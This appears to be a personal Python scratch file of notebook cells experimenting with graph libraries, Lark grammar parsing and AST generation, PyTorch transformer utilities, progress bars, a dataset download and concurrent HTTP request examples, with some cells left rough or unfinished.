plt.show()
# remove file https://stackoverflow.com/questions/6996603/how-to-delete-a-file-or-folder
Path('./file.png').expanduser().unlink()
# import os
# os.remove('./file.png')
#%%
import pylab
import networkx as nx
g=nx.Graph()
g.add_node('Golf',size='small')
g.add_node('Hummer',size='huge')
g.add_edge('Golf','Hummer')
labels = nx.get_node_attributes(g, 'size')
pos = nx.kamada_kawai_layout(g)
nx.draw(g, pos, labels=labels, with_labels=True)
pylab.show()
#%%
import pygraphviz as pgv
g = pgv.AGraph()
g.add_node('Golf',label='small')
g.add_node('Hummer',label='huge')
g.add_edge('Golf','Hummer')
# labels = nx.get_node_attributes(g, 'size')
# pos = nx.kamada_kawai_layout(g)
# nx.draw(g, pos, labels=labels, with_labels=True)
# pylab.show()
g.layout()
g.draw('file.png')
img = mpimg.imread('file.png')
plt.imshow(img)
plt.show()
# Path('./file.png').expanduser().unlink()
#%%
import pygraphviz as pgv
G=pgv.AGraph()
ndlist = [1,2,3]
for node in ndlist:
# label = "Label #" + str(node)
label = "app"
G.add_node(node, label=label)
G.layout()
G.draw('example.png', format='png')
img = mpimg.imread('example.png')
plt.imshow(img)
plt.show()
# Path('./file.png').expanduser().unlink()
#%%
# load a graph from a dot for networkx: https://stackoverflow.com/questions/42172548/read-dot-graph-in-networkx-from-a-string-and-not-file
# G = nx_agraph.from_agraph(pygraphviz.AGraph(dotFormat))
#%%
import dgl.data
dataset = dgl.data.CoraGraphDataset()
print('-- my print statments --')
print('Number of categories: {dataset.num_classes} \n')
g = dataset[0]
print(f'{g=}')
# print('Node features')
# print(g.ndata)
# print('Edge features')
# print(g.edata)
h_node_features = g.ndata['feat']
print(h_node_features.size())
#%%
# import dgl
import networkx as nx
import numpy as np
import torch
nx_g = nx.DiGraph()
# Add 3 nodes and two features for them
nx_g.add_nodes_from([0, 1, 2], feat1=np.zeros((3, 1)), feat2=np.ones((3, 1)))
print(f'{nx_g=}')
# Add 2 edges (1, 2) and (2, 1) with two features, one being edge IDs
nx_g.add_edge(1, 2, weight=np.ones((1, 1)), eid=np.array([1]))
nx_g.add_edge(2, 1, weight=np.ones((1, 1)), eid=np.array([0]))
print(f'{nx_g=}')
#%%
import random
foo = ['a', 'b', 'c', 'd', 'e']
print(random.choice(foo))
#%%
pf_body1 = ['Proof.',
'unfold lookup_incl;', 'simpl;', 'intros.',
'match_destr;', 'unfold equiv in *;', 'subst.',
'- apply lookup_in in H1.',
'apply in_dom in H1.',
'intuition.',
'- auto.',
'Qed.']
pf_body1 = pf_body1[1:-1]
print(pf_body1)
#%%
pf_body1 = [ 'Proof.',
'unfold lookup_incl;', 'simpl;', 'intros.',
'match_destr;', 'unfold equiv in *;', 'subst.',
'- apply lookup_in in H1.',
'apply in_dom in H1.',
'intuition.',
'- auto.',
'Qed.']
def mask_lemma_in_pf_body(pf_body:str, lemma:str, mask_token:str='<Predict>') -> str:
return [tactic_cmd.replace(lemma, mask_token) for tactic_cmd in pf_body]
print(mask_lemma(pf_body1, 'in_dom'))
#%%
x = [1,2]
xx = ['a','b']
print(list(zip(x,xx)))
#%%
thms = "lookup_incl_cons_l_nin (l1 l2:list (A*B)) x y : \
lookup_incl l1 l2 -> \
~ In x (domain l1) -> \
lookup_incl l1 ((x,y)::l2)."
pf_bodies = [['Proof.',
'unfold lookup_incl;', 'simpl;', 'intros.',
'match_destr;', 'unfold equiv in *;', 'subst.',
'- apply lookup_in in H1.',
'apply in_dom in H1.',
'intuition.',
'- auto.',
'Qed.']]
pf_bodies[0] = pf_body[0][1:-1]
#%%
from lark import Lark
json_parser = Lark(r"""
value: dict
| list
| ESCAPED_STRING
| SIGNED_NUMBER
| "true" | "false" | "null"
list : "[" [value ("," value)*] "]"
dict : "{" [pair ("," pair)*] "}"
pair : ESCAPED_STRING ":" value
%import common.ESCAPED_STRING
%import common.SIGNED_NUMBER
%import common.WS
%ignore WS
""", start='value')
text = '{}'
ast = json_parser.parse(text)
print(ast.pretty())
text = '{"key": ["item0", "item1", 3.14]}'
ast = json_parser.parse(text)
print(ast.pretty())
#%%
from lark import Lark
json_parser = Lark(r"""
value: dict dict "f"
| list
| ESCAPED_STRING
| SIGNED_NUMBER
| "true" | "false" | "null"
list : "[" [value ("," value)*] "]"
dict : "{" [pair ("," pair)*] "}"
pair : ESCAPED_STRING ":" value
%import common.ESCAPED_STRING
%import common.SIGNED_NUMBER
%import common.WS
%ignore WS
""", start='value')
text = '{} {} f'
ast = json_parser.parse(text)
print(ast)
print(ast.pretty())
# text = '{"key": ["item0", "item1", 3.14, "true"]}'
# ast = json_parser.parse(text)
# print(ast)
# print(ast.pretty())
#%%
from lark import Lark
json_parser = Lark(r"""
pair: pair "," pair // 1
| string // 2
string : "a" // 3
| "b" // 4
%import common.WS
%ignore WS
""", start='pair', keep_all_tokens=True)
text = 'a'
ast = json_parser.parse(text)
print(ast)
print(ast.pretty())
# rule seq
rule_seq = ['pair', 'string', "1"]
rule_seq2 = ['pair->string', 'string->1']
text = "a, b"
ast = json_parser.parse(text)
print(ast)
print(ast.pretty())
rule_seq2 = ['pair -> pair "," pair', 'pair->string', 'pair->string', 'string->a', 'string->b']
rule_seq3 = [1, 2, 2, 3, 4]
rule_seq3 = [1, 2, 2, 3, 3, 4, 5]
#%%
from lark import Lark, Tree, Token
json_parser = Lark(r"""
pair: pair "," pair // 1
| string // 2
string : "a" // 3
| "b" // 4
%import common.WS
%ignore WS
""", start='pair', keep_all_tokens=True)
text = 'a'
ast = json_parser.parse(text)
print(ast)
print(ast.pretty())
# rule seq
rule_seq = ['pair', 'string', "1"]
rule_seq2 = ['pair->string', 'string->1']
text = "a, b"
ast = json_parser.parse(text)
print(ast)
print(ast.pretty())
rule_seq2 = ['pair->pair "," pair', 'pair->string', 'pair->string', 'string->a', 'string->b']
rule_seq2 = [rule.split('->') for rule in rule_seq2]
rule_seq3 = [1, 2, 2, 3, 4]
non_terminals = ['pair', 'string']
terminals = [",", "a", "b"]
def is_terminal(sym):
# true if matches hardcoded symbols in grammar or a regex, note this only works if the nt has been checked first.
return sym in terminals # or matches regex
def is_non_terminal(sym):
return sym in non_terminals
def build_lark_tree(rule_seq:list[tuple]) -> Tree:
print(rule_seq)
nt, next_syms = rule_seq[0]
if len(rule_seq) == 1:
return Tree(nt, [Token('literal', next_syms)])
else:
rule_seq = rule_seq[1:]
next_syms = next_syms.split(" ")
asts = []
nt_idx = 0
for next_sym in next_syms:
if is_non_terminal(next_sym):
ast = Tree(next_sym, build_lark_tree(rule_seq[nt_idx:]))
nt_idx += 1
elif is_terminal(next_sym):
ast = Token('literal', next_sym)
else:
raise ValueError(f'Invalid: {next_sym} didnt match anything')
asts.append(ast)
return Tree(nt, asts)
print('---- generating ast from Rule Seq')
build_lark_tree(rule_seq2)
#%%
from collections import defaultdict
from lark import Lark, Tree, Token
from lark.grammar import Rule, NonTerminal, Symbol, Terminal
from lark.reconstruct import Reconstructor
def build(rules: list[Rule], rule_seq: list[int], build_term) -> Tree:
def build_rule(rule: Rule) -> Tree:
l = []
for i, e in enumerate(rule.expansion):
if e.is_term:
l.append(build_term(e))
else:
l.append(e)
targets[e].append((l, i))
return Tree(rule.origin.name, l)
out: list = [NonTerminal("start")]
targets = defaultdict(list)
targets[out[0]].append((out, 0))
for i in rule_seq:
r = rules[i]
assert r.alias is None, "Can't have aliases"
assert r.options.keep_all_tokens, "need to have keep_all_tokens"
assert not (r.options.expand1 or r.origin.name.startswith("_")), "Can't have a rule that expands it's children"
ts = targets[r.origin]
l, i = ts.pop(0)
assert l[i] == r.origin, l
l[i] = build_rule(r)
return out[0]
grammar = r"""
start: "a" // rule 0
| "a" start // rule 1
"""
parser = Lark(grammar, keep_all_tokens=True)
print(parser.rules)
rule_seq1 = [1, 0]
ast = build(parser.rules, rule_seq1, lambda t: Token(t.name, "a"))
print(ast)
text = Reconstructor(parser).reconstruct(ast, None) # has string "aa"
print(repr(text))
#%%
from collections import deque
# Initializing a queue
q = deque()
# Adding elements to a queue
q.append('a')
q.append('b')
q.append('c')
print("Initial queue")
print(q)
# Removing elements from a queue
print("\nElements dequeued from the queue")
print(q.popleft())
print(q.popleft())
print(q.popleft())
print("\nQueue after removing elements")
print(q)
#%%
# https://github.com/MegaIng/lark_ast_generator/blob/master/ast_generator.py#L114
#%%
from typing import Union
from collections import deque
from lark import Lark, Tree, Token
from lark.grammar import Rule, NonTerminal, Symbol, Terminal
from lark.reconstruct import Reconstructor
grammar = r"""
pair: pair "," pair // 1
| string // 2
string : "a" // 3
| "b" // 4
%import common.WS
%ignore WS
"""
parser = Lark(grammar, start='pair', keep_all_tokens=True)
print(parser.rules)
print(parser.rules[0])
#%%
# I want a queue that removes the
#%%
# from __future__ import annotations
from collections import defaultdict
from random import choice
from typing import Optional, Callable
from lark import Lark, Token, Tree, Transformer
from lark.grammar import Terminal, NonTerminal, Rule
from lark.lexer import TerminalDef
from lark.visitors import Interpreter
class ASTGenerator:
def __init__(self, parser: Lark, term_builder=None):
self.parser = parser
self.term_builder = term_builder
self.term_by_name = {t.name: t for t in self.parser.terminals}
self.rule_by_symbol = defaultdict(list)
for r in self.parser.rules:
self.rule_by_symbol[r.origin].append(r)
def _term_builder(self, term: Terminal):
term_def: TerminalDef = self.term_by_name[term.name]
if term_def.pattern.type == "str":
return Token(term.name, term_def.pattern.value)
elif self.term_builder:
return self.term_builder(term_def)
else:
raise ValueError("Can't build Token for Terminal %r" % term.name)
def _rule_builder(self, rule: Rule, hole: Hole):
children = []
for sym in rule.expansion:
if sym.is_term:
if not sym.filter_out or rule.options.keep_all_tokens:
children.append(self._term_builder(sym))
else:
children.append(sym)
tree = Tree(rule.alias or rule.origin.name, children)
if not rule.alias and (tree.data.startswith("_") or (rule.options.expand1 and len(children) == 1)):
hole.expand(tree)
else:
hole.fill(tree)
def start_build(self, start=None):
# We could just copy the code
start = self.parser.parser._verify_start(start)
return HoleTree(NonTerminal(start))
def build_absolute_index(self, hole_tree: HoleTree, rules: list[int]):
for i in rules:
r = self.parser.rules[i]
hole = hole_tree.get_for_symbol(r.origin)
self._rule_builder(r, hole)
def build_relative_index(self, hole_tree: HoleTree, rules: list[int]):
meaning = []
for i in rules:
hole = hole_tree.bfs_first_hole
options = self.rule_by_symbol[hole.symbol]
rule = options[i]
meaning.append((i, hole.path, rule))
self._rule_builder(rule, hole)
return meaning
def build_picker(self, hole_tree: HoleTree, picker: Callable[[list[Rule], Hole], Rule], n: int = None):
track = []
i = 0
while hole_tree.any_holes and (n is None or i < n):
hole = hole_tree.bfs_first_hole
options = self.rule_by_symbol[hole.symbol]
rule = picker(options, hole)
track.append(options.index(rule))
self._rule_builder(rule, hole)
i += 1
return track
class InlineTree(Tree):
pass
class Hole:
def __init__(self, target: Optional[list], index: int, hole_tree: HoleTree, path: tuple[int, ...]):
self.target = target
if target is None:
self.symbol = index
self.index = 0
else:
self.symbol = target[index]
self.index = index
assert isinstance(self.symbol, NonTerminal), self.symbol
self.hole_tree = hole_tree
self.path = path
def _get_holes(self, values, target, offset):
for i, v in enumerate(values):
if isinstance(v, NonTerminal):
yield Hole(target, offset + i, self.hole_tree, (*self.path, i))
def expand(self, tree: Tree):
assert self.target is not None, "start rule can't be inlined"
self.target[self.index] = InlineTree(tree.data, tree.children, tree.meta)
self.hole_tree.filled(self, self._get_holes(tree.children, tree.children, 0))
def fill(self, tree: Tree):
if self.target is None:
self.hole_tree.set_start(tree)
else:
self.target[self.index] = tree
self.hole_tree.filled(self, self._get_holes(tree.children, tree.children, 0))
def flatten_inline_tree(items):
"""Yield items from any nested iterable; see Reference."""
for x in items:
if isinstance(x, InlineTree):
for sub_x in flatten_inline_tree(x.children):
yield sub_x
else:
yield x
class _InlineExpands(Interpreter):
def __default__(self, tree):
new_tree = Tree(tree.data, list(flatten_inline_tree(tree.children)), tree.meta)
new_tree.children = self.visit_children(new_tree)
return new_tree
class HoleTree:
def __init__(self, start_symbol):
self._tree = None
self.holes_by_path = {}
self.holes_by_symbol = defaultdict(list)
self.holes_by_path[()] = Hole(None, start_symbol, self, ())
self.holes_by_symbol[start_symbol].append(self.holes_by_path[()])
def set_start(self, tree):
assert self._tree is None
self._tree = tree
def filled(self, old_hole, new_holes):
self.holes_by_symbol[old_hole.symbol].remove(old_hole)
assert self.holes_by_path.pop(old_hole.path) is old_hole
for nh in new_holes:
self.holes_by_symbol[nh.symbol].append(nh)
assert nh.path not in self.holes_by_path
self.holes_by_path[nh.path] = nh
def tree(self, raw:bool = False):
return _InlineExpands().visit(self._tree) if not raw else self._tree
@property
def bfs_first_hole(self):
return self.holes_by_path[min(self.holes_by_path, key=lambda t: (len(t), t))]
@property
def any_holes(self):
return bool(self.holes_by_path)
def get_for_symbol(self, symbol):
return self.holes_by_symbol[symbol][0]
def random_picker(options, hole):
return choice(options)
def depth(min_depth=3, max_depth=5, base=random_picker):
def picker(options: list[Rule], hole):
current = len(hole.path)
if current < min_depth:
new_options = [o for o in options
if any(not s.is_term for s in o.expansion)]
if new_options:
options = new_options
if current + 1 > max_depth:
new_options = [o for o in options
if all(s.is_term for s in o.expansion)]
if new_options:
options = new_options
return base(options, hole)
return picker
#%%
from collections import defaultdict
from operator import neg
from typing import Iterable
from lark import Lark, Tree, Token
from lark.grammar import Symbol, NonTerminal, Terminal
from lark.reconstruct import Reconstructor, is_iter_empty
from lark.tree_matcher import is_discarded_terminal, TreeMatcher
from lark.visitors import Transformer_InPlace, Interpreter
class RulesGenerator(Interpreter):
def __init__(self, parser):
super(RulesGenerator, self).__init__()
self.parser = parser
self.rules_by_name = defaultdict(list)
self.aliases = defaultdict(list)
for i, r in enumerate(self.parser.rules):
self.rules_by_name[r.origin.name].append((r, i))
if r.alias is not None:
self.rules_by_name[r.alias].append((r, i))
self.aliases[r.alias].append(r.origin.name)
for n, rs in self.rules_by_name.items():
self.rules_by_name[n] = sorted(rs, key=lambda t: -len(t[0].expansion))
self.tree_matcher = TreeMatcher(parser)
self.current_path = []
self.values = {}
def _check_name(self, data, target):
if data == target:
return True
elif data in self.aliases:
return target in self.aliases[data]
else:
return False
def _check_expansion(self, orig_expansion, expansion):
return len(orig_expansion) == len(expansion) and all(o == e for o, e in zip(orig_expansion, expansion))
def get_rule(self, tree):
candidates = self.rules_by_name[tree.data]
matches = [(r, i) for (r, i) in candidates
if self._check_expansion(tree.meta.orig_expansion, r.expansion)]
if not matches:
# Sometimes, tree_matcher returns weird self rules Tree('expansion', [Tree('expansion', [...])])
if len(tree.meta.orig_expansion) == 1 and self._check_name(tree.meta.orig_expansion[0].name, tree.data):
return None
assert matches, ("No rule left that was applied", tree, candidates)
assert len(matches) == 1, ("Can't decide which rule was applied", candidates, matches)
return matches[0][1]
def __default__(self, tree):
if not getattr(tree.meta, 'match_tree', False):
# print("|"*len(self.current_path), "old", tree)
tree = self.tree_matcher.match_tree(tree, tree.data)
# print("|"*len(self.current_path), tree)
r = self.get_rule(tree)
for i, c in enumerate(tree.children):
if isinstance(c, Tree):
self.current_path.append(i)
tree.children[i] = self.visit(c)
self.current_path.pop()
# print("|"*len(self.current_path),"final", tree)
if r is not None:
self.values[tuple(self.current_path)] = r
return tree
def get_rules(self, tree) -> Iterable[int]:
self.current_path = []
self.values = {}
self.visit(tree)
return [i for k, i in sorted(self.values.items(), key=lambda t: tuple(map(neg, t[0])))]
#%%
import pprint as pp
from lark import Lark
grammar = r"""
?pair: pair "," pair // 0
| string // 1
string : "a" -> aaa // 2
| "b" -> bbb // 3
%import common.WS
%ignore WS
"""
start = 'pair'
parser = Lark(grammar, start=start, keep_all_tokens=True)
# parser = Lark(grammar, start=start)
text = "a, b"
ast = parser.parse(text)
print(ast.pretty())
pp.pprint(parser.rules)
#%%
from lark import Lark
from lark.visitors import Transformer_InPlace, Interpreter
class Inte1(Interpreter):
def pair(self, tree):
print('pair')
self.visit_children(tree)
def string(self, tree):
print('string')
grammar = r"""
pair: pair "," pair // 0
| string // 1
string : "a" // 2
| "b" // 3
%import common.WS
%ignore WS
"""
start = 'pair'
parser = Lark(grammar, start=start, keep_all_tokens=True)
text = "a, b"
ast = parser.parse(text)
print(ast)
Inte1().visit(ast)
#%%
x = [1, 2, 5]
print(sorted(x))
x = [1.1, 1.5, 0.1, 1.0]
print(list(map(round, x)))
print(sorted(x, key=round))
from lark.tree_matcher import is_discarded_terminal, TreeMatcher
#%%
from lark import Lark
json_parser = Lark(r"""
value: dict
| list
| ESCAPED_STRING
| SIGNED_NUMBER
| "true" | "false" | "null"
list : "[" [value ("," value)*] "]"
dict : "{" [pair ("," pair)*] "}"
pair : ESCAPED_STRING ":" value
%import common.ESCAPED_STRING
%import common.SIGNED_NUMBER
%import common.WS
%ignore WS
""", start='value', keep_all_tokens=True)
text = '{}'
ast = json_parser.parse(text)
print(ast.pretty())
text = '{"key": ["item0", "item1", 3.14]}'
ast = json_parser.parse(text)
print(ast.pretty())
#%%
ctx = {'x': 1}
names = ['y', 'y']
all_names = set(list(ctx.keys()) + names)
print(all_names)
#%%
import re
bfs_regex = re.compile(r'x\d+')
assert not bfs_regex.match('x')
print(bfs_regex.match('x'))
print(bfs_regex.search('x'))
assert bfs_regex.match('x0')
print(bfs_regex.match('x0'))
print(bfs_regex.search('x0'))
#%%
print("_".join(['x0']))
print('123'.isnumeric())
print('asdfadsf'.isnumeric())
print('x123'.isnumeric())
#%%
# this checks that both tensors are actually the same
import torch
import torch.nn as nn
import torch.optim as optim
embeds = nn.Embedding(1, 1)
lin = nn.Linear(3, 1)
embeds.weight = torch.nn.Parameter(lin.weight)
sgd = optim.SGD(lin.parameters(), 10)
print(lin.weight)
print(embeds.weight)
out = 10*(2 - lin(torch.randn(1, 3)))*2
out.backward()
sgd.step()
print(lin.weight)
print(embeds.weight)
# this succeded because the weights are the same value after the backward step
#%%
from collections import Counter
from torchtext.vocab import Vocab
import torch.nn as nn
counter_vocab = Counter({'a': 1, 'b': 2, '0': 5})
v = Vocab(counter_vocab)
table = nn.Embedding(len(v), 4)
lookup_tensor = torch.tensor([1, 2, 0], dtype=torch.long)
embed = table(lookup_tensor)
print(embed.size())
print(embed.t().size())
att = embed.t() @ embed
# att = embed.t() * embed
print(att)
from torch.nn.functional import softmax
#%%
import torch
B, T, D = 4, 12, 512
x = torch.randn(B, T, D)
encoder = nn.TransformerEncoderLayer(d_model=512, nhead=8, batch_first=True)
out = encoder(x)
print(out.sum())
encoder.batch_first = False
out = encoder(x)
print(out.sum())
encoder.batch_first = True
out = encoder(x)
print(out.sum())
#%%
import torch
import torch.nn as nn
encoder_layer = nn.TransformerEncoderLayer(d_model=512, nhead=8)
transformer_encoder = nn.TransformerEncoder(encoder_layer, num_layers=6)
src = torch.rand(10, 32, 512)
out = transformer_encoder(src)
decoder_layer = nn.TransformerDecoderLayer(d_model=512, nhead=8)
transformer_decoder = nn.TransformerDecoder(decoder_layer, num_layers=6)
memory = torch.rand(10, 32, 512)
tgt = torch.rand(20, 32, 512)
out = transformer_decoder(tgt, memory)
print(out.size())
#%%
# right shift
# [B, Ty] -> [B, Ty] (right shifted, replace initial vectors with random noise)
import torch
from torch import Tensor
y: Tensor = torch.arange(0, 12)
y = y.view(3, 4)
print(y.size())
print(y)
yy = y.roll(shifts=1, dims=1)
yy[:, 0] = 0 # SEEMS DANGEROUS!
print(yy)
# scary, perhaps it's better to only index the first T-1 and then initialize the first as zero...?
#%%
from torchtext.vocab import vocab
from collections import Counter, OrderedDict
counter = Counter(["a", "a", "b", "b", "b"])
sorted_by_freq_tuples = sorted(counter.items(), key=lambda x: x[1], reverse=True)
ordered_dict = OrderedDict(sorted_by_freq_tuples)
v1 = vocab(ordered_dict)
print(v1['a']) #prints 1
# print(v1['out of vocab']) #raise RuntimeError since default index is not set
tokens = ['e', 'd', 'c', 'b', 'a']
v2 = vocab(OrderedDict([(token, 1) for token in tokens]))
#adding <unk> token and default index
unk_token = '<unk>'
default_index = -1
if unk_token not in v2:
v2.insert_token(unk_token, 0)
v2.set_default_index(default_index)
print(v2['<unk>']) #prints 0
print(v2['out of vocab']) #prints -1
#make default index same as index of unk_token
v2.set_default_index(v2[unk_token])
v2['out of vocab'] is v2[unk_token] #prints True
#%%
import torch
# x = torch.randn(2, 3)
# sz = x.size( )
sz = 4
mask = (torch.triu(torch.ones(sz, sz)) == 1).transpose(0, 1)
mask = mask.float().masked_fill(mask == 0, float('-inf')).masked_fill(mask == 1, float(0.0))
# print(x)
print(mask)
#%%
def generate_square_subsequent_mask(sz):
mask = (torch.triu(torch.ones((sz, sz), device=DEVICE)) == 1).transpose(0, 1)
mask = mask.float().masked_fill(mask == 0, float('-inf')).masked_fill(mask == 1, float(0.0))
return mask
def create_mask(src, tgt):
src_seq_len = src.shape[0]
tgt_seq_len = tgt.shape[0]
tgt_mask = generate_square_subsequent_mask(tgt_seq_len)
src_mask = torch.zeros((src_seq_len, src_seq_len),device=DEVICE).type(torch.bool)
src_padding_mask = (src == PAD_IDX).transpose(0, 1)
tgt_padding_mask = (tgt == PAD_IDX).transpose(0, 1)
return src_mask, tgt_mask, src_padding_mask, tgt_padding_mask
#%%
import uutils.torch
# inheritance in python
# Q: do my subclasses inherit the specific values form parent?
class Parent:
def __init__(self, field):
self.field = field
self.child = Child(field)
class Child(Parent):
def __init__(self, field):
super().__init__(field)
self.y = y
# print(f'{self.field}')
def forward(self, x):
print(f'{x=}')
print(f'{self.field}')
parent = Parent(field=2)
# %%
import torch
from torch.nn.utils.rnn import pad_sequence
# note the sequences start with 2 for SOS and end with 3 for EOS
special_symbols = ['<unk>', '<pad>', '<sos>', '<eos>']
PAD_IDX = special_symbols.index('<pad>')
src_batch = [torch.tensor([2, 7911, 3]), torch.tensor([2, 8269, 5, 18, 3])]
print(f'batch_size={len(src_batch)}')
src_batch = pad_sequence(src_batch, padding_value=PAD_IDX, batch_first=True)
print(src_batch.size())
print(src_batch)
#%%
import torch
sz = 4
mask = (torch.triu(torch.ones(sz, sz)) == 1).transpose(0, 1)
mask = mask.float().masked_fill(mask == 0, float('-inf')).masked_fill(mask == 1, float(0.0))
# print(x)
print(mask)
#%%
# https://stackoverflow.com/questions/47863001/how-pytorch-tensor-get-the-index-of-specific-value
import torch
t = torch.Tensor([0, 2, 3, 2, 1])
print(t.size())
# print(t == 2)
print((t == 2).nonzero().size())
print((t == 2).nonzero())
print((t == 2).nonzero()[0])
print((t == 2).nonzero()[0][0])
print((t == 2).nonzero()[0][0].item())
print((t == 99).nonzero())
print((t == 99).nonzero())
# t = torch.Tensor([1, 0, 2, 3, 2, 2, 1])
# print(t == 222)
# print((t == 222).nonzero(as_tuple=True)[0])
# print((t == 222).nonzero(as_tuple=True))
# print( ((t == 2).nonzero(as_tuple=True)[0]) )
# print( ((t == 2).nonzero(as_tuple=True)[0]).size() )
# print( (t == 2).nonzero() )
# print( (t == 2).nonzero().size() )
#%%
# from lark import Lark
import lark as l
json_parser = l.Lark(r"""
value: dict dict "f"
| list
| ESCAPED_STRING
| SIGNED_NUMBER
| "true" | "false" | "null"
list : "[" [value ("," value)*] "]"
dict : "{" [pair ("," pair)*] "}"
pair : ESCAPED_STRING ":" value
%import common.ESCAPED_STRING
%import common.SIGNED_NUMBER
%import common.WS
%ignore WS
""", start='value')
text = '{} {} f'
ast = json_parser.parse(text)
print(ast)
print(ast.pretty())
# %%
import torch
B, T, D = 2, 3, 4
x = torch.randn(B, T, D)
print(x)
print()
print(torch.transpose(x, 1, 2))
# %%
import torch
x = torch.zeros(4, 3)
print(x)
x[1:, :] = torch.ones(1, 3)
print(x)
#%%
import time
import progressbar
with progressbar.ProgressBar(max_value=10) as bar:
for i in range(10):
time.sleep(0.1)
time.sleep(1)
bar.update(i)
#%%
# import time
# import progressbar
#
# bar = progressbar.ProgressBar(max_value=10)
# for i in range(10):
# time.sleep(0.1)
# print(f'{i=}')
# bar.update(i)
#%%
from tqdm import tqdm
import time
with tqdm(total=10) as bar:
for i in range(10):
# time.sleep(0.1)
time.sleep(1)
print(f'{i=}')
bar.update(i)
#%%
from tqdm import tqdm
import time
for i in tqdm(range(10)):
# time.sleep(0.1)
time.sleep(5)
print(f'{i=}')
#%%
# progress bar 2 with it per second: https://github.com/WoLpH/python-progressbar/issues/250
import time
import progressbar
with progressbar.ProgressBar(max_value=10, unit='it') as bar:
for i in range(10):
time.sleep(0.1)
time.sleep(1)
bar.update(i)
#%%
# conda install -y pytorch-geometric -c rusty1s -c conda-forge
import torch
from torch_geometric.data import Data
# [2, number_edges], edge = (node_idx1, node_idx2), e.g. e = (0,1) = (n0, n1) (note this is reflected on the type torch long)
edge_index = torch.tensor([[0, 1, 1, 2],
[1, 0, 2, 1]], dtype=torch.long)
# features to each node [num_nodes, D]
x = torch.tensor([[0.0], [-1.0], [1.0]])
data = Data(x=x, edge_index=edge_index)
print(data)
# https://discuss.pytorch.org/t/pytorch-geometric/44994
# https://stackoverflow.com/questions/61274847/how-to-visualize-a-torch-geometric-graph-in-python
import networkx as nx
from torch_geometric.utils.convert import to_networkx
g = to_networkx(data)
nx.draw(g)
#%%
#%%
# import time
# import progressbar
#
# with progressbar.ProgressBar(max_value=10) as bar:
# for i in range(10):
# time.sleep(0.1)
# time.sleep(1)
# bar.update(i)
import time
import progressbar
bar = progressbar.ProgressBar(max_value=5)
for i in range(5):
time.sleep(1)
bar.update(i)
"""
80% (4 of 5) |#################### | Elapsed Time: 0:00:04 ETA: 0:00:01
"""
#%%
"""
Use this one to make sure the "end" is shown properly 100% etc
https://gist.github.com/brando90/3304119120841b1ebf892fe93a2cc3c9
the key is to wrap the iterator (of fixed length) using bar e.g. bar(range(100))
"""
import time
import progressbar
widgets = [
progressbar.Percentage(),
progressbar.Bar(),
' ', progressbar.SimpleProgress(),
' ', progressbar.ETA(),
' ', progressbar.AdaptiveTransferSpeed(unit='it'),
]
bar = progressbar.ProgressBar(widgets=widgets)
for i in bar(range(100)):
time.sleep(0.1)
bar.update(i)
"""
19%|########## | 19 of 100 ETA: 0:00:17 4.9 it/s
when done:
100%|####################################| 100 of 100 Time: 0:00:20 4.9 it/s
"""
#%%
"""
from default
99% (9998 of 10000) |########## | Elapsed Time: 1 day, 16:35:09 ETA: 0:00:26
"""
import time
import progressbar
widgets = [
progressbar.Percentage(),
' ', progressbar.SimpleProgress(format=f'({progressbar.SimpleProgress.DEFAULT_FORMAT})'),
' ', progressbar.Bar(),
' ', progressbar.Timer(), ' |',
' ', progressbar.ETA(), ' |',
' ', progressbar.AdaptiveTransferSpeed(unit='it'),
]
bar = progressbar.ProgressBar(widgets=widgets)
for i in bar(range(100)):
time.sleep(0.1)
bar.update(i)
#%%
import uutils
def test_good_progressbar():
import time
bar = uutils.get_good_progressbar()
for i in bar(range(100)):
time.sleep(0.1)
bar.update(i)
print('---- start context manager test ---')
max_value = 10
with uutils.get_good_progressbar(max_value=max_value) as bar:
for i in range(max_value):
time.sleep(1)
bar.update(i)
test_good_progressbar()
#%%
import time
import progressbar
# bar = progressbar.ProgressBar(max_value=progressbar.UnknownLength)
bar = uutils.get_good_progressbar(max_value=progressbar.UnknownLength)
for i in range(20):
time.sleep(0.1)
bar.update(i)
#%%
import torch
import transformers
from transformers.optimization import Adafactor, AdafactorSchedule
model = torch.nn.Linear(1, 1)
optimizer = Adafactor(model.parameters(), scale_parameter=True, relative_step=True, warmup_init=True, lr=None)
lr_scheduler = AdafactorSchedule(optimizer)
#%%
# import requests, io
URL = 'http://safelearning.ai/formalml-data/dataset10000.zip'
# urlData = requests.get(URL).content
#%%
# import urllib
from pathlib import Path
import urllib.request
url: str = 'http://safelearning.ai/formalml-data/dataset10000.zip'
filename: str = url.split('/')[-1]
assert filename == 'dataset10000.zip'
# filename = f'{filename}'
filename = f'./{filename}'
# filename = str(Path(f'~/Desktop/{filename}').expanduser())
# testfile = urllib.URLopener()
# testfile.retrieve(url, zip_name)
# urllib.urlretrieve("http://randomsite.com/file.gz", "file.gz")
urllib.request.urlretrieve(url, filename)
#%%
a = {'a', 'b', 'c', 'd'}
b = {'d', 'e', 'f'}
c = a.union(b)
print(c)
print(a.intersection(b))
print(len(a))
#%%
import asyncio
async def main():
print('Hello ...')
await asyncio.sleep(5)
print('... World!')
# Python 3.7+
asyncio.run(main())
#%%
# https://realpython.com/python-concurrency/#what-is-parallelism
import requests
import time
def download_site(url, session):
with session.get(url) as response:
print(f"Read {len(response.content)} from {url}")
def download_all_sites(sites):
with requests.Session() as session:
for url in sites:
download_site(url, session)
if __name__ == "__main__":
sites = [
"https://www.jython.org",
"http://olympus.realpython.org/dice",
] * 80
start_time = time.time()
download_all_sites(sites)
duration = time.time() - start_time
print(f"Downloaded {len(sites)} in {duration} seconds")
#%%
# https://realpython.com/python-concurrency/#what-is-parallelism
import concurrent.futures
import requests
import threading
import time
thread_local = threading.local()
def get_session():
if not hasattr(thread_local, "session"):
thread_local.session = requests.Session()
return thread_local.session
def download_site(url):
session = get_session()
with session.get(url) as response:
print(f"Read {len(response.content)} from {url}")
def download_all_sites(sites):
with concurrent.futures.ThreadPoolExecutor(max_workers=5) as executor:
executor.map(download_site, sites)
if __name__ == "__main__":
sites = [
"https://www.jython.org",
"http://olympus.realpython.org/dice",
] * 80
start_time = time.time()
download_all_sites(sites)
duration = time.time() - start_time
print(f"Downloaded {len(sites)} in {duration} seconds")
#%%
# https://realpython.com/python-concurrency/#what-is-parallelism
import asyncio
import time
import aiohttp
async def download_site(session, url):
async with session.get(url) as response:
print("Read {0} from {1}".format(response.content_length, url))
async def download_all_sites(sites):
async with aiohttp.ClientSession() as session:
tasks = []
for url in sites:
task = asyncio.ensure_future(download_site(session, url))
tasks.append(task)
await asyncio.gather(*tasks, return_exceptions=True)
if __name__ == "__main__":
sites = [
"https://www.jython.org",
"http://olympus.realpython.org/dice",
] * 80
